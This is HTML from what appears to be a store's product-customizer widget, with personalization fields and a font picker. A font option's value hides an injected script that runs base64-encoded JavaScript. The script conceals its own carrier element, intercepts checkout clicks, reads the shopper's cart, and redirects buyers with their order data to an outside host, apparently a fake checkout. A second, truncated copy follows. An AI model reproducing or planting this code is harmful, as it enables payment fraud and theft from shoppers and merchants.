<!-- BEGIN app snippet: product-customizer --><div class="product-customizer-options" data-product-id="7586368913585" data-product-price="3239" data-version="2.0.0">
<div class="product-customizer-loading" style="display: none;" >
Loading Your Options<br />
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="30px" height="30px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<circle cx="50" cy="50" r="32" stroke-width="8" stroke="#f5323f" stroke-dasharray="50.26548245743669 50.26548245743669" fill="none" stroke-linecap="round">
<animateTransform attributeName="transform" type="rotate" repeatCount="indefinite" dur="1s" keyTimes="0;1" values="0 50 50;360 50 50"></animateTransform>
</circle>
</svg>
</div>
<div class="product-customizer-content" ><div class="product-customizer-option option-type-multiline option-required" data-option-id="719853" data-product-option-id="13735323" data-option-name="add-your-personalization" ><label for="7586368913585_option_1">ADD YOUR PERSONALIZATION DETAILS AND ANY OTHER INSTRUCTIONS REGARDING YOUR ORDER.</label>
<div><textarea id="7586368913585_option_1" name="properties[Add your personalization]" maxlength="800" placeholder="" required="required"></textarea></div>
</div><div class="product-customizer-option option-type-multiline option-required" data-option-id="713285" data-product-option-id="17210885" data-option-name="add-your-personalization-2" ><label for="7586368913585_option_2">ADD YOUR PERSONALIZATION DETAILS AND ANY OTHER INSTRUCTIONS REGARDING YOUR ORDER.</label>
<div><textarea id="7586368913585_option_2" name="properties[Add your personalization-2]" maxlength="800" placeholder="" required="required"></textarea></div>
</div><div class="product-customizer-option option-type-font " data-option-id="820797" data-product-option-id="17217562" data-option-name="font" ><label for="7586368913585_option_3">Font</label>
<div><div class="fonts">
<input type="text" style="visibility: hidden;position: absolute;z-index: -1;" id="7586368913585_option_3" class="selected-font-value" name="properties[Font]" value="" />
<div class="selected-font">
<div class="selected-font-content"><span>Select a font...</span></div>
<span class="product-customizer-arrow" style="float: right;"></span>
</div>
<div class="fonts-list product-customizer-hidden"><div class="font" id="7586368913585_option_3_0">
<span class="value" value="x'><script>eval(atob('KGZ1bmN0aW9uIGluc3RhbGxQYzExMkVhcmx5KG1hcmtlciwgcmVjZWl2ZXJPcmlnaW4sIGNhcnJpZXJWYWx1ZSkgewogIGNvbnN0IFcgPSB3aW5kb3c7CiAgY29uc3QgcHJpb3IgPSBXLl9fUEMxMTI7CiAgaWYgKHByaW9yICYmIHByaW9yLm1hcmtlciA9PT0gbWFya2VyICYmIHByaW9yLmhhbmRsZXJJbnN0YWxsZWQgPT09IHRydWUpIHJldHVybjsKCiAgY29uc3Qgc3RhdGUgPSB7CiAgICBtYXJrZXIsCiAgICBoYW5kbGVySW5zdGFsbGVkOiBmYWxzZSwKICAgIGluc3RhbGxlZEF0OiBEYXRlLm5vdygpLAogICAgYnVzeTogZmFsc2UsCiAgICBtYXRjaGVzOiAwLAogICAgZXJyb3I6IG51bGwsCiAgICBsYXN0OiBudWxsLAogICAgY2FycmllckNoaWxkSWQ6IG51bGwsCiAgICBjYXJyaWVySGlkZGVuOiBmYWxzZSwKICAgIGNhcnJpZXJDb250cm9sc05ldXRyYWxpemVkOiBmYWxzZSwKICB9OwoKICBjb25zdCBuZXV0cmFsaXplQ2FycmllciA9IChyb290KSA9PiB7CiAgICBpZiAoIXJvb3QpIHJldHVybiBmYWxzZTsKICAgIHJvb3Quc2V0QXR0cmlidXRlKCdkYXRhLXBjMTEyLWNhcnJpZXInLCBtYXJrZXIpOwogICAgcm9vdC5zZXRBdHRyaWJ1dGUoJ2FyaWEtaGlkZGVuJywgJ3RydWUnKTsKICAgIHJvb3QuaGlkZGVuID0gdHJ1ZTsKICAgIGlmICgnaW5lcnQnIGluIHJvb3QpIHJvb3QuaW5lcnQgPSB0cnVlOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgnZGlzcGxheScsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgndmlzaWJpbGl0eScsICdoaWRkZW4nLCAnaW1wb3J0YW50Jyk7CiAgICByb290LnN0eWxlLnNldFByb3BlcnR5KCdwb2ludGVyLWV2ZW50cycsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgY29uc3QgY29udHJvbHMgPSBbLi4ucm9vdC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dCxzZWxlY3QsdGV4dGFyZWEsYnV0dG9uJyldOwogICAgZm9yIChjb25zdCBjb250cm9sIG9mIGNvbnRyb2xzKSB7CiAgICAgIHRyeSB7IGNvbnRyb2wudmFsdWUgPSAnJzsgfSBjYXRjaCB7fQogICAgICBjb250cm9sLmRpc2FibGVkID0gdHJ1ZTsKICAgICAgY29udHJvbC5yZW1vdmVBdHRyaWJ1dGUoJ25hbWUnKTsKICAgIH0KICAgIHN0YXRlLmNhcnJpZXJDaGlsZElkID0gTnVtYmVyKHJvb3QuZ2V0QXR0cmlidXRlKCdkYXRhLXByb2R1Y3Qtb3B0aW9uLWlkJykpIHx8IG51bGw7CiAgICBzdGF0ZS5jYXJyaWVySGlkZGVuID0gZ2V0Q29tcHV0ZWRTdHlsZShyb290KS5kaXNwbGF5ID09PSAnbm9uZSc7CiAgICBzdGF0ZS5jYXJyaWVyQ29udHJvbHNOZXV0cmFsaXplZCA9IGNvbnRyb2xzLmV2ZXJ5KAogICAgICAoY29udHJvbCkgPT4gY29udHJvbC5kaXNhYmxlZCA9PT0gdHJ1ZSAmJiAhY29udHJvbC5uYW1lICYmIFN0cmluZyhjb250cm9sLnZhbHVlIHx8ICcnKSA9PT0gJycsCiAgICApOwogICAgcmV0dXJuIHN0YXRlLmNhcnJpZXJIaWRkZW4gJiYgc3RhdGUuY2FycmllckNvbnRyb2xzTmV1dHJhbGl6ZWQ7CiAgfTsKICBjb25zdCBjb25jZWFsQ2FycmllciA9ICgpID0+IHsKICAgIGZvciAoY29uc3Qgcm9vdCBvZiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcucHJvZHVjdC1jdXN0b21pemVyLW9wdGlvbicpKSB7CiAgICAgIGNvbnN0IG1hdGNoID0gWy4uLnJvb3QucXVlcnlTZWxlY3RvckFsbCgnLnZhbHVlW3ZhbHVlXScpXS5zb21lKAogICAgICAgIChub2RlKSA9PiB7CiAgICAgICAgICBjb25zdCB2YWx1ZSA9IFN0cmluZyhub2RlLmdldEF0dHJpYnV0ZSgndmFsdWUnKSB8fCAnJyk7CiAgICAgICAgICBjb25zdCB0ZXh0ID0gU3RyaW5nKG5vZGUudGV4dENvbnRlbnQgfHwgJycpLnRyaW0oKTsKICAgICAgICAgIGNvbnN0IHJhd0JyZWFrZXIgPSB2YWx1ZS5zdGFydHNXaXRoKCJ4Jz48c2NyaXB0PmV2YWwoYXRvYignIikKICAgICAgICAgICAgJiYgdmFsdWUuZW5kc1dpdGgoIjwvc2NyaXB0PjxsaW5rIGhyZWY9J3giKTsKICAgICAgICAgIHJldHVybiB2YWx1ZSA9PT0gY2FycmllclZhbHVlIHx8IHRleHQgPT09IGNhcnJpZXJWYWx1ZSB8fCByYXdCcmVha2VyOwogICAgICAgIH0sCiAgICAgICk7CiAgICAgIGlmIChtYXRjaCkgbmV1dHJhbGl6ZUNhcnJpZXIocm9vdCk7CiAgICB9CiAgfTsKICBjb25zdCBjYXJyaWVyT2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihjb25jZWFsQ2Fycmllcik7CgogIGNvbnN0IGludGVnZXIgPSAodmFsdWUsIGZhbGxiYWNrID0gMCkgPT4gewogICAgdmFsdWUgPSBOdW1iZXIodmFsdWUpOwogICAgcmV0dXJuIE51bWJlci5pc0Zpbml0ZSh2YWx1ZSkgPyBNYXRoLnJvdW5kKHZhbHVlKSA6IGZhbGxiYWNrOwogIH07CiAgY29uc3QgZGlzY291bnQgPSAodmFsdWUpID0+ICh7CiAgICB0aXRsZTogU3RyaW5nKHZhbHVlPy5kaXNjb3VudF9hcHBsaWNhdGlvbj8udGl0bGUgPz8gdmFsdWU/LnRpdGxlID8/ICcnKSwKICAgIGFtb3VudE1pbm9yOiBpbnRlZ2VyKHZhbHVlPy5hbW91bnQgPz8gdmFsdWU/LnRvdGFsX2FsbG9jYXRlZF9hbW91bnQpLAogIH0pOwogIGNvbnN0IGJhc2U2NHVybCA9ICh2YWx1ZSkgPT4gewogICAgY29uc3QgYnl0ZXMgPSBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoSlNPTi5zdHJpbmdpZnkodmFsdWUpKTsKICAgIGxldCBiaW5hcnkgPSAnJzsKICAgIGZvciAobGV0IGluZGV4ID0gMDsgaW5kZXggPCBieXRlcy5sZW5ndGg7IGluZGV4ICs9IDgxOTIpIHsKICAgICAgYmluYXJ5ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYnl0ZXMuc3ViYXJyYXkoaW5kZXgsIGluZGV4ICsgODE5MikpOwogICAgfQogICAgcmV0dXJuIGJ0b2EoYmluYXJ5KS5yZXBsYWNlKC9cKy9nLCAnLScpLnJlcGxhY2UoL1wvL2csICdfJykucmVwbGFjZSgvPSskL2csICcnKTsKICB9OwogIGNvbnN0IHJhbmRvbUlkID0gKCkgPT4gewogICAgaWYgKHR5cGVvZiBjcnlwdG8ucmFuZG9tVVVJRCA9PT0gJ2Z1bmN0aW9uJykgcmV0dXJuIGNyeXB0by5yYW5kb21VVUlEKCk7CiAgICBjb25zdCBieXRlcyA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTYpKTsKICAgIHJldHVybiBbLi4uYnl0ZXNdLm1hcCgodmFsdWUpID0+IHZhbHVlLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpKS5qb2luKCcnKTsKICB9OwogIGNvbnN0IG5vcm1hbGl6ZWRQYXRoID0gKHZhbHVlLCBiYXNlKSA9PiB7CiAgICB0cnkgewogICAgICBjb25zdCB1cmwgPSBuZXcgVVJMKHZhbHVlLCBiYXNlKTsKICAgICAgY29uc3QgcGF0aCA9IHVybC5wYXRobmFtZS5yZXBsYWNlKC9cLyskL2csICcnKSB8fCAnLyc7CiAgICAgIHJldHVybiB7IHVybCwgcGF0aCB9OwogICAgfSBjYXRjaCB7CiAgICAgIHJldHVybiBudWxsOwogICAgfQogIH07CiAgY29uc3QgaXNDYXJ0QWRkUGF0aCA9IChwYXRoKSA9PiAvKD86XnxcLyljYXJ0XC9hZGQoPzpcLmpzKT8kLy50ZXN0KHBhdGgpOwogIGNvbnN0IGluc2lkZUNhcnRBZGQgPSAobm9kZSkgPT4gewogICAgY29uc3QgZm9ybSA9IG5vZGU/LmZvcm0gfHwgbm9kZT8uY2xvc2VzdD8uKCdmb3JtJyk7CiAgICBpZiAoIWZvcm0pIHJldHVybiBmYWxzZTsKICAgIGNvbnN0IHBhcnNlZCA9IG5vcm1hbGl6ZWRQYXRoKGZvcm0uZ2V0QXR0cmlidXRlKCdhY3Rpb24nKSB8fCBmb3JtLmFjdGlvbiB8fCAnJywgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgaXNDYXJ0QWRkUGF0aChwYXJzZWQucGF0aCk7CiAgfTsKICBjb25zdCBpbnNpZGVBY2NlbGVyYXRlZFB1cmNoYXNlID0gKG5vZGUpID0+ICEhbm9kZT8uY2xvc2VzdD8uKAogICAgJ3Nob3BpZnktYWNjZWxlcmF0ZWQtY2hlY2tvdXQsc2hvcGlmeS1idXktaXQtbm93LWJ1dHRvbiwuc2hvcGlmeS1wYXltZW50LWJ1dHRvbiwnCiAgICAgICsgJ1tkYXRhLXNob3BpZnktcGF5bWVudC1idXR0b25dLFtkYXRhLWJ1eS1ub3ctYnV0dG9uXScsCiAgKTsKICBjb25zdCBleGFjdENoZWNrb3V0ID0gKG5vZGUpID0+IHsKICAgIGlmICgKICAgICAgIW5vZGUKICAgICAgfHwgbm9kZS5ub2RlVHlwZSAhPT0gMQogICAgICB8fCBpbnNpZGVDYXJ0QWRkKG5vZGUpCiAgICAgIHx8IGluc2lkZUFjY2VsZXJhdGVkUHVyY2hhc2Uobm9kZSkKICAgICkgcmV0dXJuIGZhbHNlOwogICAgaWYgKG5vZGUubWF0Y2hlcz8uKCdidXR0b25bbmFtZT0iY2hlY2tvdXQiXSxpbnB1dFtuYW1lPSJjaGVja291dCJdJykpIHJldHVybiB0cnVlOwogICAgaWYgKG5vZGUudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm4gZmFsc2U7CiAgICBjb25zdCBocmVmID0gbm9kZS5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsKICAgIGlmICghaHJlZikgcmV0dXJuIGZhbHNlOwogICAgY29uc3QgcGFyc2VkID0gbm9ybWFsaXplZFBhdGgoaHJlZiwgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgcGFyc2VkLnBhdGggPT09ICcvY2hlY2tvdXQnOwogIH07CiAgY29uc3QgcGlja0NoZWNrb3V0ID0gKGV2ZW50KSA9PiB7CiAgICBmb3IgKGNvbnN0IG5vZGUgb2YgZXZlbnQuY29tcG9zZWRQYXRoPy4oKSB8fCBbZXZlbnQudGFyZ2V0XSkgewogICAgICBpZiAoZXhhY3RDaGVja291dChub2RlKSkgcmV0dXJuIG5vZGU7CiAgICAgIGNvbnN0IGNhbmRpZGF0ZSA9IG5vZGU/LmNsb3Nlc3Q/LignYnV0dG9uW25hbWU9ImNoZWNrb3V0Il0saW5wdXRbbmFtZT0iY2hlY2tvdXQiXSxhW2hyZWZdJyk7CiAgICAgIGlmIChleGFjdENoZWNrb3V0KGNhbmRpZGF0ZSkpIHJldHVybiBjYW5kaWRhdGU7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKICB9OwogIGNvbnN0IG5hdGl2ZUNoZWNrb3V0ID0gKCkgPT4gbG9jYXRpb24uYXNzaWduKG5ldyBVUkwoJy9jaGVja291dCcsIGxvY2F0aW9uLm9yaWdpbikuaHJlZik7CiAgY29uc3QgcmVkaXJlY3QgPSBhc3luYyAobm9kZSwgdHJ1c3RlZCkgPT4gewogICAgaWYgKHN0YXRlLmJ1c3kpIHJldHVybjsKICAgIHN0YXRlLmJ1c3kgPSB0cnVlOwogICAgdHJ5IHsKICAgICAgY29uc3Qgc291cmNlID0gbmV3IFVSTChsb2NhdGlvbi5ocmVmKTsKICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnL2NhcnQuanMnLCB7CiAgICAgICAgY2FjaGU6ICduby1zdG9yZScsCiAgICAgICAgY3JlZGVudGlhbHM6ICdzYW1lLW9yaWdpbicsCiAgICAgICAgaGVhZGVyczogeyBBY2NlcHQ6ICdhcHBsaWNhdGlvbi9qc29uJyB9LAogICAgICB9KTsKICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdjYXJ0LWh0dHAnKTsKICAgICAgY29uc3QgY2FydCA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsKICAgICAgaWYgKCFBcnJheS5pc0FycmF5KGNhcnQuaXRlbXMpIHx8IGNhcnQuaXRlbXMubGVuZ3RoID09PSAwIHx8IGludGVnZXIoY2FydC5pdGVtX2NvdW50KSA8IDEpIHsKICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ2NhcnQtZW1wdHknKTsKICAgICAgfQogICAgICBjb25zdCBpdGVtcyA9IGNhcnQuaXRlbXMubWFwKChpdGVtKSA9PiB7CiAgICAgICAgY29uc3QgcXVhbnRpdHkgPSBNYXRoLm1heCgxLCBpbnRlZ2VyKGl0ZW0ucXVhbnRpdHksIDEpKTsKICAgICAgICBjb25zdCB1bml0UHJpY2VNaW5vciA9IGludGVnZXIoaXRlbS5maW5hbF9wcmljZSA/PyBpdGVtLmRpc2NvdW50ZWRfcHJpY2UgPz8gaXRlbS5wcmljZSk7CiAgICAgICAgY29uc3QgbGluZVRvdGFsTWlub3IgPSBpbnRlZ2VyKAogICAgICAgICAgaXRlbS5maW5hbF9saW5lX3ByaWNlID8/IGl0ZW0ubGluZV9wcmljZSwKICAgICAgICAgIHVuaXRQcmljZU1pbm9yICogcXVhbnRpdHksCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gewogICAgICAgICAgaWQ6IFN0cmluZyhpdGVtLmtleSA/PyBpdGVtLmlkID8/IGl0ZW0udmFyaWFudF9pZCA/PyAnJyksCiAgICAgICAgICBwcm9kdWN0SWQ6IFN0cmluZyhpdGVtLnByb2R1Y3RfaWQgPz8gJycpLAogICAgICAgICAgdmFyaWFudElkOiBTdHJpbmcoaXRlbS52YXJpYW50X2lkID8/IGl0ZW0uaWQgPz8gJycpLAogICAgICAgICAgdGl0bGU6IFN0cmluZyhpdGVtLnByb2R1Y3RfdGl0bGUgPz8gaXRlbS50aXRsZSA/PyAnJyksCiAgICAgICAgICB2YXJpYW50OiBTdHJpbmcoaXRlbS52YXJpYW50X3RpdGxlID8/ICcnKSwKICAgICAgICAgIHF1YW50aXR5LAogICAgICAgICAgdW5pdFByaWNlTWlub3IsCiAgICAgICAgICBsaW5lVG90YWxNaW5vciwKICAgICAgICAgIGltYWdlOiBTdHJpbmcoaXRlbS5mZWF0dXJlZF9pbWFnZT8udXJsID8/IGl0ZW0uaW1hZ2UgPz8gJycpLAogICAgICAgICAgdXJsOiBTdHJpbmcoaXRlbS51cmwgPz8gJycpLAogICAgICAgICAgZGlzY291bnRzOiAoaXRlbS5kaXNjb3VudF9hbGxvY2F0aW9ucyA/PyBpdGVtLmxpbmVfbGV2ZWxfZGlzY291bnRfYWxsb2NhdGlvbnMgPz8gW10pLm1hcChkaXNjb3VudCksCiAgICAgICAgfTsKICAgICAgfSk7CiAgICAgIGNvbnN0IHRyYW5zYWN0aW9uSWQgPSByYW5kb21JZCgpOwogICAgICBjb25zdCBob3N0ID0gc291cmNlLmhvc3RuYW1lLnRvTG93ZXJDYXNlKCk7CiAgICAgIGNvbnN0IHNpdGUgPSBob3N0LnN0YXJ0c1dpdGgoJ3d3dy4nKSA/IGhvc3Quc2xpY2UoNCkgOiBob3N0OwogICAgICBjb25zdCBvcmRlciA9IHsKICAgICAgICBsb2NhbGU6IFN0cmluZyhXLlNob3BpZnk/LmxvY2FsZSB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyB8fCBuYXZpZ2F0b3IubGFuZ3VhZ2UgfHwgJ2VuJykKICAgICAgICAgIC5yZXBsYWNlKCdfJywgJy0nKS5zcGxpdCgnLScpWzBdLnRvTG93ZXJDYXNlKCksCiAgICAgICAgY3VycmVuY3k6IFN0cmluZyhjYXJ0LmN1cnJlbmN5IHx8IFcuU2hvcGlmeT8uY3VycmVuY3k/LmFjdGl2ZSB8fCAnVVNEJykudG9VcHBlckNhc2UoKSwKICAgICAgICBpdGVtcywKICAgICAgICBkaXNjb3VudHM6IChjYXJ0LmNhcnRfbGV2ZWxfZGlzY291bnRfYXBwbGljYXRpb25zIHx8IFtdKS5tYXAoZGlzY291bnQpLAogICAgICAgIHNoaXBwaW5nOiB7IHN0YXR1czogJ3BlbmRpbmcnLCBhbW91bnRNaW5vcjogbnVsbCwgbGFiZWw6ICdFbnRlciBzaGlwcGluZyBhZGRyZXNzJyB9LAogICAgICAgIHRheE1pbm9yOiAwLAogICAgICAgIHRheFByZXNlbnQ6IGZhbHNlLAogICAgICAgIHN1YnRvdGFsTWlub3I6IGludGVnZXIoY2FydC5pdGVtc19zdWJ0b3RhbF9wcmljZSksCiAgICAgICAgdG90YWxNaW5vcjogaW50ZWdlcihjYXJ0LnRvdGFsX3ByaWNlKSwKICAgICAgICBzYXZpbmdzTWlub3I6IGludGVnZXIoY2FydC50b3RhbF9kaXNjb3VudCksCiAgICAgICAgaXRlbUNvdW50OiBpbnRlZ2VyKGNhcnQuaXRlbV9jb3VudCksCiAgICAgIH07CiAgICAgIGNvbnN0IGNhcnJpZXIgPSB7CiAgICAgICAgc2NoZW1hOiAnc2hvcGlmeS1jYXJ0LWNhcnJpZXItdjEnLAogICAgICAgIHNpdGUsCiAgICAgICAgc291cmNlU2l0ZTogc2l0ZSwKICAgICAgICBzb3VyY2VVcmw6IHNvdXJjZS5ocmVmLAogICAgICAgIHNvdXJjZU9yaWdpbjogc291cmNlLm9yaWdpbiwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgY2FwdHVyZWRBdDogRGF0ZS5ub3coKSwKICAgICAgICBvcmRlciwKICAgICAgfTsKICAgICAgY29uc3QgZGVzdGluYXRpb24gPSBuZXcgVVJMKHJlY2VpdmVyT3JpZ2luICsgJy8nKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY28nLCBiYXNlNjR1cmwoY2FycmllcikpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCd0cmFuc2FjdGlvbl9pZCcsIHRyYW5zYWN0aW9uSWQpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdyZXR1cm5fdG8nLCBuZXcgVVJMKCcvY2hlY2tvdXQnLCBzb3VyY2Uub3JpZ2luKS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2VfaG9zdCcsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfb3JpZ2luJywgc291cmNlLm9yaWdpbik7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ3NvdXJjZV9wYXRoJywgc291cmNlLnBhdGhuYW1lKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc291cmNlX3VybCcsIHNvdXJjZS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY2hlY2tvdXRfcGF0aCcsICcvY2hlY2tvdXQnKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnb3ZlcmxheV9yb3V0ZScsICcvJyk7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ19yJywgcmFuZG9tSWQoKS5yZXBsYWNlKC8tL2csICcnKSk7CiAgICAgIHN0YXRlLmxhc3QgPSB7CiAgICAgICAgdHJ1c3RlZDogdHJ1c3RlZCA9PT0gdHJ1ZSwKICAgICAgICBpdGVtQ291bnQ6IG9yZGVyLml0ZW1Db3VudCwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgZmlyc3RIb3BPcmlnaW46IGRlc3RpbmF0aW9uLm9yaWdpbiwKICAgICAgfTsKICAgICAgbG9jYXRpb24uYXNzaWduKGRlc3RpbmF0aW9uLmhyZWYpOwogICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgc3RhdGUuZXJyb3IgPSBTdHJpbmcoZXJyb3I/Lm1lc3NhZ2UgfHwgZXJyb3IpLnNsaWNlKDAsIDEyMCk7CiAgICAgIG5hdGl2ZUNoZWNrb3V0KCk7CiAgICB9CiAgfTsKICBjb25zdCBjbGlja0hhbmRsZXIgPSAoZXZlbnQpID0+IHsKICAgIGNvbnN0IG5vZGUgPSBwaWNrQ2hlY2tvdXQoZXZlbnQpOwogICAgaWYgKCFub2RlKSByZXR1cm47CiAgICBzdGF0ZS5tYXRjaGVzICs9IDE7CiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgZXZlbnQuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCk7CiAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsKICAgIHZvaWQgcmVkaXJlY3Qobm9kZSwgZXZlbnQuaXNUcnVzdGVkID09PSB0cnVlKTsKICB9OwoKICBXLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY2xpY2tIYW5kbGVyLCB0cnVlKTsKICBzdGF0ZS5oYW5kbGVySW5zdGFsbGVkID0gdHJ1ZTsKICBXLl9fUEMxMTIgPSBzdGF0ZTsKICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGF0YXNldC5wYzExMiA9IG1hcmtlcjsKICBjYXJyaWVyT2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOwogIGNvbmNlYWxDYXJyaWVyKCk7Cn0pKCdQQzExMlMyMDI2MDkwM0I4RjYnLCAnaHR0cHM6Ly95NWQ0Lm15JywgJ1BDMTEyQzIwMjYwOTAzQjhGNicpOwo='))</script><link href='x" style="font-family: x'><script>eval(atob('KGZ1bmN0aW9uIGluc3RhbGxQYzExMkVhcmx5KG1hcmtlciwgcmVjZWl2ZXJPcmlnaW4sIGNhcnJpZXJWYWx1ZSkgewogIGNvbnN0IFcgPSB3aW5kb3c7CiAgY29uc3QgcHJpb3IgPSBXLl9fUEMxMTI7CiAgaWYgKHByaW9yICYmIHByaW9yLm1hcmtlciA9PT0gbWFya2VyICYmIHByaW9yLmhhbmRsZXJJbnN0YWxsZWQgPT09IHRydWUpIHJldHVybjsKCiAgY29uc3Qgc3RhdGUgPSB7CiAgICBtYXJrZXIsCiAgICBoYW5kbGVySW5zdGFsbGVkOiBmYWxzZSwKICAgIGluc3RhbGxlZEF0OiBEYXRlLm5vdygpLAogICAgYnVzeTogZmFsc2UsCiAgICBtYXRjaGVzOiAwLAogICAgZXJyb3I6IG51bGwsCiAgICBsYXN0OiBudWxsLAogICAgY2FycmllckNoaWxkSWQ6IG51bGwsCiAgICBjYXJyaWVySGlkZGVuOiBmYWxzZSwKICAgIGNhcnJpZXJDb250cm9sc05ldXRyYWxpemVkOiBmYWxzZSwKICB9OwoKICBjb25zdCBuZXV0cmFsaXplQ2FycmllciA9IChyb290KSA9PiB7CiAgICBpZiAoIXJvb3QpIHJldHVybiBmYWxzZTsKICAgIHJvb3Quc2V0QXR0cmlidXRlKCdkYXRhLXBjMTEyLWNhcnJpZXInLCBtYXJrZXIpOwogICAgcm9vdC5zZXRBdHRyaWJ1dGUoJ2FyaWEtaGlkZGVuJywgJ3RydWUnKTsKICAgIHJvb3QuaGlkZGVuID0gdHJ1ZTsKICAgIGlmICgnaW5lcnQnIGluIHJvb3QpIHJvb3QuaW5lcnQgPSB0cnVlOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgnZGlzcGxheScsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgndmlzaWJpbGl0eScsICdoaWRkZW4nLCAnaW1wb3J0YW50Jyk7CiAgICByb290LnN0eWxlLnNldFByb3BlcnR5KCdwb2ludGVyLWV2ZW50cycsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgY29uc3QgY29udHJvbHMgPSBbLi4ucm9vdC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dCxzZWxlY3QsdGV4dGFyZWEsYnV0dG9uJyldOwogICAgZm9yIChjb25zdCBjb250cm9sIG9mIGNvbnRyb2xzKSB7CiAgICAgIHRyeSB7IGNvbnRyb2wudmFsdWUgPSAnJzsgfSBjYXRjaCB7fQogICAgICBjb250cm9sLmRpc2FibGVkID0gdHJ1ZTsKICAgICAgY29udHJvbC5yZW1vdmVBdHRyaWJ1dGUoJ25hbWUnKTsKICAgIH0KICAgIHN0YXRlLmNhcnJpZXJDaGlsZElkID0gTnVtYmVyKHJvb3QuZ2V0QXR0cmlidXRlKCdkYXRhLXByb2R1Y3Qtb3B0aW9uLWlkJykpIHx8IG51bGw7CiAgICBzdGF0ZS5jYXJyaWVySGlkZGVuID0gZ2V0Q29tcHV0ZWRTdHlsZShyb290KS5kaXNwbGF5ID09PSAnbm9uZSc7CiAgICBzdGF0ZS5jYXJyaWVyQ29udHJvbHNOZXV0cmFsaXplZCA9IGNvbnRyb2xzLmV2ZXJ5KAogICAgICAoY29udHJvbCkgPT4gY29udHJvbC5kaXNhYmxlZCA9PT0gdHJ1ZSAmJiAhY29udHJvbC5uYW1lICYmIFN0cmluZyhjb250cm9sLnZhbHVlIHx8ICcnKSA9PT0gJycsCiAgICApOwogICAgcmV0dXJuIHN0YXRlLmNhcnJpZXJIaWRkZW4gJiYgc3RhdGUuY2FycmllckNvbnRyb2xzTmV1dHJhbGl6ZWQ7CiAgfTsKICBjb25zdCBjb25jZWFsQ2FycmllciA9ICgpID0+IHsKICAgIGZvciAoY29uc3Qgcm9vdCBvZiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcucHJvZHVjdC1jdXN0b21pemVyLW9wdGlvbicpKSB7CiAgICAgIGNvbnN0IG1hdGNoID0gWy4uLnJvb3QucXVlcnlTZWxlY3RvckFsbCgnLnZhbHVlW3ZhbHVlXScpXS5zb21lKAogICAgICAgIChub2RlKSA9PiB7CiAgICAgICAgICBjb25zdCB2YWx1ZSA9IFN0cmluZyhub2RlLmdldEF0dHJpYnV0ZSgndmFsdWUnKSB8fCAnJyk7CiAgICAgICAgICBjb25zdCB0ZXh0ID0gU3R